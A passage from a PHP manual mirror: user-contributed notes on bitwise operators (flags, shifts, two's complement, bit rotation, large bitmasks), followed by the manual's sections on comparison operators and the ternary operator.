the benefit is, it works with numbers greater MAX_INT
vivekanand dot pathak25 at gmail dot com 16-Mar-2013 07:59
$a =     9;
$b =     10;
echo $a & $b;

place value   128  64  32  16   8  4   2   1
$a                     0      0    0     0    1  0   0   1   =9
$b                     0      0    0     0    1   0  1   0   =10

result   8

 only bit they share together is the 8 bit. So 8 gets returned.

  $a =     36;
$b =     103;
echo $a & $b;

place value   128  64  32  16   8    4   2   1
$a                     0      0    1     0    0    1   0   0   =36
$b                     0      1    1     0    0    1   1   1   =103

result  32+4 = 36
the only bits these two share together are the bits 32 and 4 which when added together return 36.

$a =     9;
$b =     10;
echo $a | $b;

place value   128  64  32  16   8  4   2   1
$a                     0      0    0     0    1  0   0   1   =9
$b                     0      0    0     0    1   0  1   0   =10

result 8+2+1 = 11
 3 bits set, in the 8, 2, and 1 column.add those up 8+2+1 and you get 11

$a =     9;
$b =     10;
echo $a ^ $b;

place value   128  64  32  16   8  4   2   1
$a                     0      0    0     0    1  0   0   1   =9
$b                     0      0    0     0    1   0  1   0   =10

result  2+1 = 3
the 2 bit and the 1 bit that they each have set but don't share. Soooo 2+1 = 3
erich at seachawaii dot com 14-Dec-2012 03:15
Just a note regarding negative shift values, as the documentation states each shift is an integer multiply or divide (left or right respectively) by 2.  That means a negative shift value (the right hand operand) effects the sign of the shift and NOT the direction of the shift as I would have expected.
FE. 0xff >> -2 results in 0x0
and 0xff << -2 result in 0xFFFFFFFFC0000000 (dependant on PHP_INT_MAX)
frankemeks77 at yahoo dot com 21-Aug-2012 01:24
Just learning Bitwise Shift Operators.

The easiest way to resolve a bitwise  shift operators is my multiply or dividing each step by two for left shift or right shift respectively

Example:

LEFT SHIFT
<?php echo 8 << 3; //64 ?>

//same as
<?php echo 8 * 2 * 2 * 2; ?>

RIGHT SHIFT
<?php echo 8 >> 3; //1 ?>

//same as
<?php echo ((8/2)/2)/2; //1 ?>

//Solving on a paper 8/2 = 4/2 = 2/2 = 1
wbcarts at juno dot com 17-May-2012 03:52
BITWISE FLAGS for Custom PHP Objects

Sometimes I need a custom PHP Object that holds several boolean TRUE or FALSE values. I could easily include a variable for each of them, but as always, code has a way to get unweildy pretty fast. A more intelligent approach always seems to be the answer, even if it seems to be overkill at first.

I start with an abstract base class which will hold a single integer variable called $flags. This simple integer can hold 32 TRUE or FALSE boolean values. Another thing to consider is to just set certain BIT values without disturbing any of the other BITS -- so included in the class definition is the setFlag($flag, $value) function, which will set only the chosen bit. Here's the abstract base class definition:

<?php

# BitwiseFlag.php

abstract class BitwiseFlag
{
  protected $flags;

  /*
   * Note: these functions are protected to prevent outside code
   * from falsely setting BITS. See how the extending class 'User'
   * handles this.
   *
   */
  protected function isFlagSet($flag)
  {
    return (($this->flags & $flag) == $flag);
  }

  protected function setFlag($flag, $value)
  {
    if($value)
    {
      $this->flags |= $flag;
    }
    else
    {
      $this->flags &= ~$flag;
    }
  }
}

?>

The class above is abstract and cannot be instantiated, so an extension is required. Below is a simple extension called User -- which is severely truncated for clarity. Notice I am defining const variables AND methods to use them.

<?php

# User.php

require('BitwiseFlag.php');

class User extends BitwiseFlag
{
  const FLAG_REGISTERED = 1; // BIT #1 of $flags has the value 1
  const FLAG_ACTIVE = 2;     // BIT #2 of $flags has the value 2
  const FLAG_MEMBER = 4;     // BIT #3 of $flags has the value 4
  const FLAG_ADMIN = 8;      // BIT #4 of $flags has the value 8

  public function isRegistered(){
    return $this->isFlagSet(self::FLAG_REGISTERED);
  }

  public function isActive(){
    return $this->isFlagSet(self::FLAG_ACTIVE);
  }

  public function isMember(){
    return $this->isFlagSet(self::FLAG_MEMBER);
  }

  public function isAdmin(){
    return $this->isFlagSet(self::FLAG_ADMIN);
  }

  public function setRegistered($value){
    $this->setFlag(self::FLAG_REGISTERED, $value);
  }

  public function setActive($value){
    $this->setFlag(self::FLAG_ACTIVE, $value);
  }

  public function setMember($value){
    $this->setFlag(self::FLAG_MEMBER, $value);
  }

  public function setAdmin($value){
    $this->setFlag(self::FLAG_ADMIN, $value);
  }

  public function __toString(){
    return 'User [' .
      ($this->isRegistered() ? 'REGISTERED' : '') .
      ($this->isActive() ? ' ACTIVE' : '') .
      ($this->isMember() ? ' MEMBER' : '') .
      ($this->isAdmin() ? ' ADMIN' : '') .
    ']';
  }
}

?>

This seems like a lot of work, but we have addressed many issues, for example, using and maintaining the code is easy, and the getting and setting of flag values make sense. With the User class, you can now see how easy and intuitive bitwise flag operations become.

<?php

require('User.php')

$user = new User();
$user->setRegistered(true);
$user->setActive(true);
$user->setMember(true);
$user->setAdmin(true);

echo $user;  // outputs: User [REGISTERED ACTIVE MEMBER ADMIN]

?>
Anonymous 12-Oct-2011 07:56
To make very clear why ("18" & "32") is "10".
1) they they are both strings ,
2) "&" operator works on strings by taking each !Character! from each string and make a bit wise & between them and add this value to the resulting string

So:
"18" is made up of two characters: 0x31, 0x38
"32" is made up of two characters: 0x33, 0x32
----RESULT-----
0x31 & 0x33 = 0x31 => "1"
0x38 & 0x32 = 0x30 => "0"

and the result is "10" which is 100% correct.
spencer-p-moy at example dot com 17-Sep-2011 06:21
The NOT or complement operator ( ~ ) and negative binary numbers can be confusing.

~2 = -3  because you use the formula  ~x = -x - 1  The bitwise complement of a decimal number is the negation of the number minus 1.

NOTE: just using 4 bits here for the examples below but in reality PHP uses 32 bits.

Converting a negative decimal number (ie: -3) into binary takes 3 steps:
1) convert the positive version of the decimal number into binary (ie: 3 = 0011)
2) flips the bits (ie: 0011 becomes 1100)
3) add 1 (ie: 1100  + 0001 = 1101)

You might be wondering how does 1101 = -3. Well PHP uses the method "2's complement" to render negative binary numbers. If the left most bit is a 1 then the binary number is negative and you flip the bits and add 1. If it is 0 then it is positive and you don't have to do anything. So 0010 would be a positive 2. If it is 1101, it is negative and you flip the bits to get 0010. Add 1 and you get 0011 which equals -3.
aba at example dot com 12-Aug-2011 05:07
It is true that if both the left-hand and right-hand parameters are strings, the bitwise operator will operate on the characters' ASCII values. However, a complement is necessary to complete this sentence.
It is not irrelevant to point out that the decimal character's ASCII value have different binary values.

<?php
if (('18' & '32') == '10') {
    echo ord('18'); //return decimal value 49, which have binary value 110001
    echo ord('32'); //return decimal value 51, which have binary value 110011
    echo ord('10'); //return decimal value 49, which have binary value 110001
    //Therefore 110001 & 110011 = 110001
}
?>
ivoras at gmail dot com 06-Jun-2011 04:44
As an additional curiosity, for some reason the result of the operation ("18" & "32") is "10". In other words, try avoiding using the binary operators on strings :)
josh at joshstrike dot com 11-Feb-2011 07:54
More referencing this for myself than anything... if you need to iterate through every possible binary combination where $n number of flags are set to 1 in a mask of $bits length:

<?php
echo masksOf(3,10);

function masksOf($n,$bits) {
    $u = pow(2,$bits)-1; //start value, full flags on.
    $masks = array();
    while ($u>0) {
        $z = numflags($u);
        if ($z==$n) array_push($masks,$u);
        $u--;
    }
    return ($masks);
}

function numflags($n) {
    $k = 0;
    while ($n) {
        $k += $n & 1;
        $n = $n >> 1;
    }
    return ($k);

//    alternately:
//    $u = 0;
//    for ($k=1;$k<=$n;$k*=2) {
//        $u+=($n&$k?1:0);
//    }
//    return ($u);
}
?>
amckenzie4 at gmail dot com 25-Aug-2010 08:19
If, like me, you've never thought about how PHP deals with binary, the output of the bitwise NOT may confuse you.  For instance, this:

$bin = 2;
$notbin = ~$bin;

echo "Bin: " . decbin($bin) . "  !bin:  " . decbin($notbin) . "\n";

returns this:

Bin: 10  !bin:  1111111111111111111111111111111111111111111111111111111111111101

The reason is that all binary numbers are treated as 32 bits, even if you've manually entered less.  In order to get the result I expected (01), it was necessary to AND the result with the number of bits I wanted:  in this case, 2 (the number 3, in decimal).  Be aware that all return values will have zeros removed from the left until they reach a bit that is set to 1.  Continuing the above example, the following:

$notbin_2 = ~$bin & '3';
echo "!bin & 3:  " . decbin($notbin_2) . "\n";

returns this:

!bin & 3:  1

Note that the actual value was a string of 31 zeros followed by a 1, but the zeros were not shown.  This is probably a good thing.

Furthermore, the NOT operator uses two's complement, which means the number you get may be even stranger than you expect:  using two's complement means that ~2 == -3.  There are plenty of good explanations of two's complement online, so I won't go into that question here.

If what you want is just to reverse a string of bits without any interpretation, you can use a function like this:

function bitnot($bin)
 {
   $not = "";
   for ($i = 0; $i < strlen($bin); $i++)
   {
      if($bin[$i] == 0) { $not .= '1'; }
      if($bin[$i] == 1) { $not .= '0'; }
   }
   return $not;
 }

It takes a binary string of any length, reverses the bits, and returns the new string.  You can then treat it as a binary number, use bindec() to turn it into a decimal, or whatever you want.

I hope this helps someone as much as it would have helped me a week ago!
Core Xii 11-Aug-2010 10:24
Be very careful when XOR-ing strings! If one of the values is empty (0, '', null) the result will also be empty!

<?php
var_dump(1234 ^ 0); // int(1234)
var_dump(1234 ^ ''); // int(1234)
var_dump(1234 ^ null); // int(1234)
var_dump('hello world' ^ 0); // int(0)
var_dump('hello world' ^ ''); // string(0) ""
var_dump('hello world' ^ null); // int(0)
?>

This seems rather inconsistent behavior. An integer XOR'd with zero results the original integer. But a string XOR'd with an empty value results an empty value!

My password hashing function was always returning the same hash... Because I was XOR-ing it with a salt that was sometimes empty!
Adam 15-May-2010 01:25
Be careful of order of operations.

for example, you may want to check if the second bit is set:

<?php
if ($x & 2 == 2) {
    /* code */
}
?>

is different than

<?php
if (($x & 2) == 2) {
    /* code */
}
?>

and the latter of the two should be used.
Anonymous 12-Jan-2010 10:18
Beware that PHP's << and >> operators, unlike the other bitwise operators do not work on ASCII values; << and >> cast their operands to integer (when possible) before shifting and will always return an integer result.

For example:

<?php
$foo = "1"; // chr(49)
var_dump($foo << 1); // Output is int(2)

$foo = "!"; // chr(33)
var_dump($foo << 1); // Output is int(0)
?>
zooly at globmi dot com 19-Oct-2009 07:52
Here is an example for bitwise leftrotate and rightrotate.

Note that this function works only with decimal numbers - other types can be converted with pack().

<?php

function rotate ( $decimal, $bits) {

  $binary = decbin($decimal);

  return (
    bindec(substr($binary, $bits).substr($binary, 0, $bits))
  );

}

// Rotate 124 (1111100) to the left with 1 bits

echo rotate(124, 1);

// = 121 (1111001)

// Rotate 124 (1111100) to the right with 3 bits

echo rotate(124, -3);

// = 79 (1001111)

?>
grayda dot NOSPAM at DONTSPAM dot solidinc dot org 03-Jun-2009 08:48
Initially, I found bitmasking to be a confusing concept and found no use for it. So I've whipped up this code snippet in case anyone else is confused:

<?php

    // The various details a vehicle can have
    $hasFourWheels = 1;
    $hasTwoWheels  = 2;
    $hasDoors      = 4;
    $hasRedColour  = 8;

    $bike          = $hasTwoWheels;
    $golfBuggy     = $hasFourWheels;
    $ford          = $hasFourWheels | $hasDoors;
    $ferrari       = $hasFourWheels | $hasDoors | $hasRedColour;

    $isBike        = $hasFourWheels & $bike; # False, because $bike doens't have four wheels
    $isGolfBuggy   = $hasFourWheels & $golfBuggy; # True, because $golfBuggy has four wheels
    $isFord        = $hasFourWheels & $ford; # True, because $ford $hasFourWheels

?>

And you can apply this to a lot of things, for example, security:

<?php

    // Security permissions:
    $writePost = 1;
    $readPost = 2;
    $deletePost = 4;
    $addUser = 8;
    $deleteUser = 16;

    // User groups:
    $administrator = $writePost | $readPosts | $deletePosts | $addUser | $deleteUser;
    $moderator = $readPost | $deletePost | $deleteUser;
    $writer = $writePost | $readPost;
    $guest = $readPost;

    // function to check for permission
    function checkPermission($user, $permission) {
        if($user & $permission) {
            return true;
        } else {
            return false;
        }
    }

    // Now we apply all of this!
    if(checkPermission($administrator, $deleteUser)) {
        deleteUser("Some User"); # This is executed because $administrator can $deleteUser
    }

?>

Once you get your head around it, it's VERY useful! Just remember to raise each value by the power of two to avoid problems
Silver 12-May-2009 04:36
Regarding what Bob said about flags, I'd like to point out there's a 100% safe way of defining flags, which is using hexadecimal notation for integers:

<?php
define("f0", 0x1); // 2^0
define("f1", 0x2); // 2^1
define("f2", 0x4); // 2^2
define("f3", 0x8); // 2^3
define("f4", 0x10); // 2^4
define("f5", 0x20); // 2^5
// ...
define("f20", 0x1000000); // 2^20
define("f21", 0x2000000); // 2^21
define("f22", 0x4000000); // 2^22
define("f23", 0x8000000); // 2^23
define("f24", 0x10000000); // 2^24
// ... up to 2^31
?>

I always avoid using decimal notation when I have a large amount of different flags, because it's very easy to misspell numbers like 2^20 (1048576).
Bob 26-Apr-2009 12:19
Here is an easy way to use bitwise operation for 'flag' functionality.
By this I mean managing a set of options which can either be ON or OFF, where zero or more of these options may be set and each option may only be set once. (If you are familiar with MySQL, think 'set' datatype).
Note: to older programmers, this will be obvious.

Here is the code:
<?php
function set_bitflag(/*variable-length args*/)
{
    $val = 0;
    foreach(func_get_args() as $flag) $val = $val | $flag;
    return $val;
}
function is_bitflag_set($val, $flag)
{
    return (($val & $flag) === $flag);
}
// Define your flags
define('MYFLAGONE', 1); // 0001
define('MYFLAGTWO', 2); // 0010
define('MYFLAGTHREE', 4); // 0100
define('MYFLAGFOUR', 8); // 1000
?>

I should point out: your flags are stored in a single integer. You can store loads of flags in a single integer.

To use my functions, say you wanted to set MYFLAGONE and MYFLAGTHREE, you would use:
<?php
$myflags = set_bitflags(MYFLAGONE, MYFLAGTHREE);
?>
Note: you can pass set_bitflags() as many flags to set as you want.

When you want to test later if a certain flag is set, use e.g.:
<?php
if(is_bitflag_set($myflags, MYFLAGTWO))
{
    echo "MYFLAGTWO is set!";
}
?>

The only tricky part is defining your flags. Here is the process:
1.  Write a list of your flags
2.  Count them
3.  Define the last flag in your list as 1 times 2 to the power of <count> minus one. ( I.E. 1*2^(<count>-1) )
3. Working backwards through your list, from the last to the first, define each one as half of the previous one. You should reach 1 when you get to the first

If you want to understand binary numbers, bits and bitwise operation better, the wikipedia page explains it well - http://en.wikipedia.org/wiki/Bitwise_operation.
cw3theophilus at gmail dot com 15-Apr-2009 02:22
For those who are looking for a circular bit shift function in PHP (especially useful for cryptographic functions) that works with negtive values, here is a little function I wrote:

(Note: It took me almost a whole day to get this to work with negative $num values (I couldn't figure out why it sometimes worked and other times didn't), because PHP only has an arithmatic and not a logical bitwise right shift like I am used to. I.e. 0x80000001>>16 will ouputs (in binary) "1111 1111 1111 1111 1000 0000 0000 0000" instead of "0000 0000 0000 0000 1000 0000 0000 0000" like you would expect. To fix this you have to apply the mask (by bitwise &) equal to 0x7FFFFFFF right shifted one less than the offset you are shifting by.)

<?php
function circular_shift($num,$offset) { //Do a nondestructive circular bitwise shift, if offset positive shift left, if negative shift right
    $num=(int)$num;
    $mask=0x7fffffff; //Mask to cater for the fact that PHP only does arithmatic right shifts and not logical i.e. PHP doesn't give expected output when right shifting negative values
    if ($offset>0) {
        $num=($num<<$offset%32) | (($num>>(32-$offset%32)) & ($mask>>(31-$offset%32)));
    }
    elseif ($offset<0){
        $offset=abs($offset);
        $num=(($num>>$offset%32) & ($mask>>(-1+$offset%32))) | ($num<<(32-$offset%32));
    }
    return $num;
}
?>
m0sh at hotmail dot com 07-Aug-2008 12:03
@greenone - nice function, thanks. I've adapted it for key usage:

<?php
function bitxor($str, $key) {
    $xorWidth = PHP_INT_SIZE*8;
    // split
    $o1 = str_split($str, $xorWidth);
    $o2 = str_split(str_pad('', strlen($str), $key), $xorWidth);
    $res = '';
    $runs = count($o1);
    for($i=0;$i<$runs;$i++)
        $res .= decbin(bindec($o1[$i]) ^ bindec($o2[$i]));
    return $res;
}
?>
bartbons at debster.nl 07-Apr-2008 02:27
@kendsnyder at gmail dot com

Thanx for your great function. But your function is not 100% correct. It should be:

function safeBitCheck($number,$comparison) {
    if( $number < 2147483647 ) {
        return ($number & $comparison)==$comparison;
    } else {
        $binNumber = strrev(base_convert($number,10,2));
        $binComparison = strrev(base_convert($comparison,10,2));
        for( $i=0; $i<strlen($binComparison); $i++ ) {
            if( strlen($binNumber) - 1 <$i || ($binComparison{$i}==="1" && $binNumber{$i}==="0") ) {
                return false;
            }
        }
        return true;
    }
}

Mind the 'minus 1' on "if( strlen($binNumber) - 1 <$i".

cheers, Bart
forlamp at msn dot com 06-Dec-2007 06:35
two's complement logical operation for 32-bit.

$x must be (int) when passing it to this function to work properly.

function comp2($x)      // 32bit bitwise complement
{
    $mask = 0x80000000;

    if ($x < 0)
    {
        $x &= 0x7FFFFFFF;
        $x = ~$x;

        return $x ^ $mask;
    }
    else
    {
        $x = $x ^ 0x7FFFFFFF;

        return $x | $mask;
    }
}
zewt at hotmail dot com 11-Jan-2007 11:28
if you use bitwise you MUST make sure your variables are integers, otherwise you can get incorrect results.

I recommend ALWAYS

(int)$var & (int)$var2

This will save you many headaches when troubleshooting a completely illogical result.
Nina Cording 29-Oct-2005 09:50
For those who were searching for a way to actually rotate the bits of a number, here are some little functions I wrote:

<?php

function bitRotate32($value,$amount) {
    if ($amount>0) {
        $amount %= 32;
        $value = ($value<<$amount) | ($value>>(32-$amount));
    } elseif ($amount<0) {
        $amount = -$amount%32;
        $value = ($value>>$amount) | ($value<<(32-$amount));
    }
    return $value;
}

function bitRotate($value,$amount,$bits) {
    $mask = ($bits<32) ? 0x7fffffff >> (31-$bits) : 0xffffffff;
    if ($amount>0) {
        $amount %= $bits;
        $value = ($value<<$amount) | ($value>>($bits-$amount));
    } elseif ($amount<0) {
        $amount = -$amount%$bits;
        $value = ($value>>$amount) | ($value<<($bits-$amount));
    }
    return $value & $mask;
}

// test the rotation:

$test = 4123;
for ($i=0; $i<64; $i++) {
    $value = bitRotate($test,-$i,8); // rotates 8 bits to the left (-$amount)
    echo sprintf("%032b<br/>",$value);
}

?>
zlel grxnslxves13 at hotmail dot com~=s/x/ee/g 26-Oct-2005 07:30
I refer to Eric Swanson's post on Perl VS PHP's implementation of xor.

Actually, this is not an issue with the implementation of XOR,  but a lot more to do with the lose-typing policy that PHP adopts.

Freely switching between int and float is good for most cases, but problems happen when your value is near the word size of your machine. Which is to say, 32-bit machines will encounter problems with values that hover around 0x80000000 - primarily because PHP does not support unsigned integers.

using bindec/decbin would address this issue as a work-around to do unsigned-int xor, but here's the real picture (i'm not claiming that this code will perform better, but this would be a better pedagogical code):

<?php

function unsigned_xor32 ($a, $b)
{
        $a1 = $a & 0x7FFF0000;
        $a2 = $a & 0x0000FFFF;
        $a3 = $a & 0x80000000;
        $b1 = $b & 0x7FFF0000;
        $b2 = $b & 0x0000FFFF;
        $b3 = $b & 0x80000000;

        $c = ($a3 != $b3) ? 0x80000000 : 0;

        return (($a1 ^ $b1) |($a2 ^ $b2)) + $c;
}

$x = 3851235679;
$y = 43814;
echo "<br>This is the value we want";
echo "<br>3851262585";

echo "<br>The result of a native xor operation on integer values is treated as a signed integer";
echo "<br>".($x ^ $y);

echo "<br>We therefore perform the MSB separately";
echo "<br>".unsigned_xor32($x, $y);

?>

This is really foundation stuff, but for those of you who missed this in college, there seems to be something on 2's complement here:

http://www.evergreen.edu/biophysics/technotes/program/2s_comp.htm
Tbrendstrup 29-Sep-2005 05:23
note that the shift operators are arithmetic, not logic like in C. You may get unexpected results with negative numbers, see http://en.wikipedia.org/wiki/Bitwise_operation

here's a function to do logic right shifts.

<?php

function lshiftright($var,$amt)
{
    $mask = 0x40000000;
    if($var < 0)
    {
        $var &= 0x7FFFFFFF;
        $mask = $mask >> ($amt-1);
        return ($var >> $amt) | $mask;
    }
    return $var >> $amt;
}

$val = -10;

printf("arithmetic shift on a negative integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",$val, $val >> 1 );

printf("logic shift on a negative integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",$val, lshiftright($val, 1));

printf("logic shift on a positive integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",-$val, lshiftright(-$val, 1));
?>

gives the output:

arithmetic shift on a negative integer
11111111111111111111111111110110
11111111111111111111111111111011
-10
-5

logic shift on a negative integer
11111111111111111111111111110110
01111111111111111111111111111011
-10
2147483643

logic shift on a positive integer
00000000000000000000000000001010
00000000000000000000000000000101
10
5
Eric Swanson 31-Aug-2005 05:19
Perl vs. PHP implementation of the ^ operator:

After attempting to translate a Perl module into PHP, I realized that Perl's implementation of the ^ operator is different than the PHP implementation.  By default, Perl treats the variables as floats and PHP as integers.  I was able to verify the PHP use of the operator by stating "use integer;" within the Perl module, which output the exact same result as PHP was using.

The logical decision would be to cast every variable as (float) when using the ^ operator in PHP.  However, this will not yield the same results.  After about a half hour of banging my head against the wall, I discovered a gem and wrote a function using the binary-decimal conversions in PHP.

/*
not having much experience with bitwise operations, I cannot tell you that this is the BEST solution, but it certainly is a solution that finally works and always returns the EXACT same result Perl provides.
*/
function binxor($a, $b) {
    return bindec(decbin((float)$a ^ (float)$b));
}

//normal PHP code will not yeild the same result as Perl
$result = 3851235679 ^ 43814; //= -443704711

//to get the same result as Perl
$result = binxor(3851235679, 43814); //= 3851262585
//YIPPEE!!!

//to see the differences, try the following
$a = 3851235679 XOR 43814;
$b = 3851235679 ^ 43814; //integer result
$c = (float)3851235679 ^ (float)43814; //same as $b
$d = binxor(3851235679, 43814); //same as Perl!!

echo("A: $a<br />");
echo("B: $b<br />");
echo("C: $c<br />");
echo("D: $d<br />");
S?b. 04-Mar-2005 03:13
A bitwise operators practical case :

<?php
    // We want to know the red, green and blue values of this color :
    $color = 0xFEA946 ;

    $red = $color >> 16 ;
    $green = ($color & 0x00FF00) >> 8 ;
    $blue = $color & 0x0000FF ;

    printf('Red : %X (%d), Green : %X (%d), Blue : %X (%d)',
        $red, $red, $green, $green, $blue, $blue) ;

    // Will display...
    // Red : FE (254), Green : A9 (169), Blue : 46 (70)
?>
icy at digitalitcc dot com 23-Feb-2005 11:24
Say... you really want to have say... more than 31 bits available to you in your happy bitmask. And you don't want to use floats. So, one solution would to have an array of bitmasks, that are accessed through some kind of interface.

Here is my solution for this: A class to store an array of integers being the bitmasks. It can hold up to 66571993087 bits, and frees up unused bitmasks when there are no bits being stored in them.

<?php
/*
    Infinite* bits and bit handling in general.

    *Not infinite, sorry.

    Perceivably, the only limit to the bitmask class in storing bits would be
    the maximum limit of the index number, on 32 bit integer systems 2^31 - 1,
    so 2^31 * 31 - 1 = 66571993087 bits, assuming floats are 64 bit or something.
    I'm sure that's enough enough bits for anything.. I hope :D.
*/

DEFINE('INTEGER_LENGTH',31); // Stupid signed bit.

class bitmask
{
    protected $bitmask = array();

    public function set( $bit ) // Set some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        $this->bitmask[$key] |= 1 << $bit;
    }

    public function remove( $bit ) // Remove some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        $this->bitmask[$key] &= ~ (1 << $bit);
        if(!$this->bitmask[$key])
            unset($this->bitmask[$key]);
    }

    public function toggle( $bit ) // Toggle some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        $this->bitmask[$key] ^= 1 << $bit;
        if(!$this->bitmask[$key])
            unset($this->bitmask[$key]);
    }

    public function read( $bit ) // Read some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        return $this->bitmask[$key] & (1 << $bit);
    }

    public function stringin($string) // Read a string of bits that can be up to the maximum amount of bits long.
    {
        $this->bitmask = array();
        $array = str_split( strrev($string), INTEGER_LENGTH );
        foreach( $array as $key => $value )
        {
            if($value = bindec(strrev($value)))
                $this->bitmask[$key] = $value;
        }
    }

    public function stringout() // Print out a string of your nice little bits
    {
        $string = "";

        $keys = array_keys($this->bitmask);
        sort($keys, SORT_NUMERIC);

        for($i = array_pop($keys);$i >= 0;$i--)
        {
            if($this->bitmask[$i])
                $string .= sprintf("%0" . INTEGER_LENGTH . "b",$this->bitmask[$i]);
        }
        return $string;
    }

    public function clear() // Purge!
    {
        $this->bitmask = array();
    }

    public function debug() // See what's going on in your bitmask array
    {
        var_dump($this->bitmask);
    }
}
?>

It treats a positive integer input as a bit, so you don't have to deal with the powers of 2 yourself.

<?php
$bitmask = new bitmask();

$bitmask->set(8979879); // Whatever

$bitmask->set(888);

if($bitmask->read(888))
    print 'Happy!\n';

$bitmask->toggle(39393); // Yadda yadda

$bitmask->remove(888);

$bitmask->debug();

$bitmask->stringin("100101000101001000101010010101010
00000001000001");

print $bitmask->stringout() . "\n";

$bitmask->debug();

$bitmask->clear();

$bitmask->debug();
?>

Would produce:

Happy!

array(2) {
  [289673]=>
  int(65536)
  [1270]=>
  int(8388608)
}

0000000000000001001010001010010001010100101010100
0000001000001

array(2) {
  [0]=>
  int(355106881)
  [1]=>
  int(37970)
}

array(0) {
}


Comparison Operators

Comparison operators, as their name implies, allow you to compare two values. You may also be interested in viewing the type comparison tables, as they show examples of various type related comparisons.

Comparison Operators
Example | Name | Result
$a == $b | Equal | true if $a is equal to $b after type juggling.
$a === $b | Identical | true if $a is equal to $b, and they are of the same type.
$a != $b | Not equal | true if $a is not equal to $b after type juggling.
$a <> $b | Not equal | true if $a is not equal to $b after type juggling.
$a !== $b | Not identical | true if $a is not equal to $b, or they are not of the same type.
$a < $b | Less than | true if $a is strictly less than $b.
$a > $b | Greater than | true if $a is strictly greater than $b.
$a <= $b | Less than or equal to | true if $a is less than or equal to $b.
$a >= $b | Greater than or equal to | true if $a is greater than or equal to $b.
$a <=> $b | Spaceship | An int less than, equal to, or greater than zero when $a is less than, equal to, or greater than $b, respectively.

If both operands are numeric strings, or one operand is a number and the other one is a numeric string, then the comparison is done numerically. These rules also apply to the switch statement. The type conversion does not take place when the comparison is === or !== as this involves comparing the type as well as the value.

Внимание

Prior to PHP 8.0.0, if a string is compared to a number or a numeric string then the string was converted to a number before performing the comparison. This can lead to surprising results as can be seen with the following example:

<?php
var_dump(0 == "a");
var_dump("1" == "01");
var_dump("10" == "1e1");
var_dump(100 == "1e2");

switch ("a") {
case 0:
echo "0";
break;
case "a":
echo "a";
break;
}
?>

Результат выполнения данного примера в PHP 7:

bool(true)
bool(true)
bool(true)
bool(true)
0

Результат выполнения данного примера в PHP 8:

bool(false)
bool(true)
bool(true)
bool(true)
a

<?php
// Integers
echo 1 <=> 1; // 0
echo 1 <=> 2; // -1
echo 2 <=> 1; // 1

// Floats
echo 1.5 <=> 1.5; // 0
echo 1.5 <=> 2.5; // -1
echo 2.5 <=> 1.5; // 1

// Strings
echo "a" <=> "a"; // 0
echo "a" <=> "b"; // -1
echo "b" <=> "a"; // 1

echo "a" <=> "aa"; // -1
echo "zz" <=> "aa"; // 1

// Arrays
echo [] <=> []; // 0
echo [1, 2, 3] <=> [1, 2, 3]; // 0
echo [1, 2, 3] <=> []; // 1
echo [1, 2, 3] <=> [1, 2, 1]; // 1
echo [1, 2, 3] <=> [1, 2, 4]; // -1

// Objects
$a = (object) ["a" => "b"];
$b = (object) ["a" => "b"];
echo $a <=> $b; // 0

$a = (object) ["a" => "b"];
$b = (object) ["a" => "c"];
echo $a <=> $b; // -1

$a = (object) ["a" => "c"];
$b = (object) ["a" => "b"];
echo $a <=> $b; // 1

// not only values are compared; keys must match
$a = (object) ["a" => "b"];
$b = (object) ["b" => "b"];
echo $a <=> $b; // 1

?>

For various types, comparison is done according to the following table (in order).

Comparison with Various Types
Type of Operand 1 | Type of Operand 2 | Result
null or string | string | Convert null to "", numerical or lexical comparison
bool or null | anything | Convert both sides to bool, false < true
object | object | Built-in classes can define its own comparison, different classes are incomparable, same class see Object Comparison
string, resource, int or float | string, resource, int or float | Translate strings and resources to numbers, usual math
array | array | Array with fewer members is smaller, if key from operand 1 is not found in operand 2 then arrays are incomparable, otherwise - compare value by value (see following example)
object | anything | object is always greater
array | anything | array is always greater

Пример #1 Boolean/null comparison

<?php
// Bool and null are compared as bool always
var_dump(1 == TRUE); // TRUE - same as (bool)1 == TRUE
var_dump(0 == FALSE); // TRUE - same as (bool)0 == FALSE
var_dump(100 < TRUE); // FALSE - same as (bool)100 < TRUE
var_dump(-10 < FALSE);// FALSE - same as (bool)-10 < FALSE
var_dump(min(-100, -10, NULL, 10, 100)); // NULL - (bool)NULL < (bool)-100 is FALSE < TRUE
?>

Пример #2 Transcription of standard array comparison

<?php
// Arrays are compared like this with standard comparison operators as well as the spaceship operator.
function standard_array_compare($op1, $op2)
{
if (count($op1) < count($op2)) {
return -1; // $op1 < $op2
} elseif (count($op1) > count($op2)) {
return 1; // $op1 > $op2
}
foreach ($op1 as $key => $val) {
if (!array_key_exists($key, $op2)) {
return 1;
} elseif ($val < $op2[$key]) {
return -1;
} elseif ($val > $op2[$key]) {
return 1;
}
}
return 0; // $op1 == $op2
}
?>

Внимание

Comparison of floating point numbers

Because of the way floats are represented internally, you should not test two floats for equality.

See the documentation for float for more information.

Замечание: Be aware that PHP's type juggling is not always obvious when comparing values of different types, particularly comparing ints to bools or ints to strings. It is therefore generally advisable to use === and !== comparisons rather than == and != in most cases.

Incomparable Values

While identity comparison (=== and !==) can be applied to arbitrary values, the other comparison operators should only be applied to comparable values. The result of comparing incomparable values is undefined, and should not be relied upon.

Смотрите также

  • strcasecmp()
  • strcmp()
  • Array operators
  • Types

Ternary Operator

Another conditional operator is the "?:" (or ternary) operator.

Пример #3 Assigning a default value

<?php
// Example usage for: Ternary Operator
$action = (empty($_POST['action'])) ? 'default' : $_POST['action'];

// The above is identical to this if/else statement
if (empty($_POST['action'])) {
$action = 'default';
} else {
$action = $_POST['action'];
}
?>
The expression (expr1) ? (expr2) : (expr3) evaluates to expr2 if expr1 evaluates to true, and expr3 if expr1 evaluates to false.

It is possible to leave out the middle part of the ternary operator. Expression expr1 ?: expr3 evaluates to the result of expr1 if expr1 evaluates to true, and expr3 otherwise. expr1 is only evaluated once in this case.

